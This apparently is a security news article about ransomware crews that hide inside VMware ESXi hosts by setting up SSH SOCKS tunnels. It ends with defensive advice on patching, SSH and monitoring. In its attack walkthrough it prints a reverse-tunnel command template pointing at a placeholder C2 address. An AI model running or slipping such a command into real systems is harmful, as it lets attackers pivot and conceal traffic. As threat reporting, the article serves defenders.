New ransomware strains are quietly infiltrating VMware ESXi hosts by setting up SSH tunnels and concealing malicious traffic within legitimate activity.

This stealth tactic allows attackers to access critical virtual machine environments without triggering many of the standard alarms or detection systems that monitor more conventional network paths.

Because ESXi appliances often remain unmonitored, cybercriminals have seized the opportunity to hide in plain sight, exfiltrate data, and lock down virtual machines with minimal interference.

Virtualized infrastructures are attractive targets for ransomware actors due to the high value of virtual machines and the rapid damage attackers can inflict if they seize control.

Instead of compromising each guest system individually, criminals can focus on the ESXi host itself, enabling them to encrypt all virtual disks in one coordinated attack, Sygnia said.

Once the virtual machines are made inaccessible, organizations find themselves racing to restore critical functions or contemplating payment demands. Business continuity, reputation, and revenue all face significant jeopardy in these incidents.

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Beyond encryption, attackers also use ESXi servers as pivot points to gain broader access inside corporate networks. By using SSH to create a SOCKS tunnel, threat actors can move laterally and blend traffic with routine administrative operations.

The compromised system rarely rebooted and often insufficiently logged, becomes an ideal environment to install persistent backdoors.

How the Attack Works

1. Initial Access:
   Attackers gain access to VMware ESXi hosts by exploiting vulnerabilities (e.g., CVE-2021-21974) or using stolen administrative credentials. These methods allow them to bypass authentication and establish control over the appliance.
2. Establishing SSH Tunneling:
   Once inside, attackers use the native SSH functionality of ESXi appliances to create a SOCKS tunnel. This is typically achieved with a command like:textssh –fN -R 127.0.0.1:<SOCKS port> <user>@<C2 IP address> This remote port-forwarding setup links the compromised ESXi host to the attacker’s Command and Control (C2) server, enabling them to route malicious traffic through the host while blending into legitimate network activity.
3. Persistence:
   ESXi appliances are rarely rebooted, making them ideal for maintaining semi-persistent backdoors within the network. The SSH tunnel remains active, allowing attackers to continue their operations undetected.
4. Reconnaissance and Lateral Movement:
   Using the established tunnel, attackers perform reconnaissance within the compromised network, identifying additional targets and sensitive data.
5. Encryption and Ransom Deployment:
   After gathering intelligence, attackers deploy ransomware payloads to encrypt critical virtual machine files, such as .vmdk (virtual disk files) and .vmem (paging files). This renders entire virtualized environments inaccessible. A ransom demand is then issued, often accompanied by threats of data exfiltration or public disclosure.

The logging architecture of ESXi servers complicates forensic investigations. Unlike centralized syslog systems, ESXi distributes logs across multiple files, such as /var/log/shell.log (shell activity) and /var/log/auth.log (authentication events).

This fragmentation requires investigators to piece together evidence from various sources. Moreover, the use of SSH tunneling masks malicious activity as normal administrative traffic.

Since many organizations do not actively monitor their ESXi environments, these attacks can persist undetected for extended periods.

Researchers recommend limiting administrative privileges and ensuring SSH is disabled by default on ESXi hosts, only activating it when absolutely necessary.

Regularly applying patches to fix vulnerabilities, especially those enabling remote code execution or credential theft, is also vital. Strong authentication policies, including multi-factor methods, reduce the likelihood of brute-forcing administrative credentials.

This new wave of ransomware demonstrates that attackers continue adapting to exploit overlooked corners of virtual infrastructure.

By prioritizing security controls in ESXi environments and closely monitoring SSH usage, organizations can stay ahead of threats and maintain the reliability of their virtualized operations.

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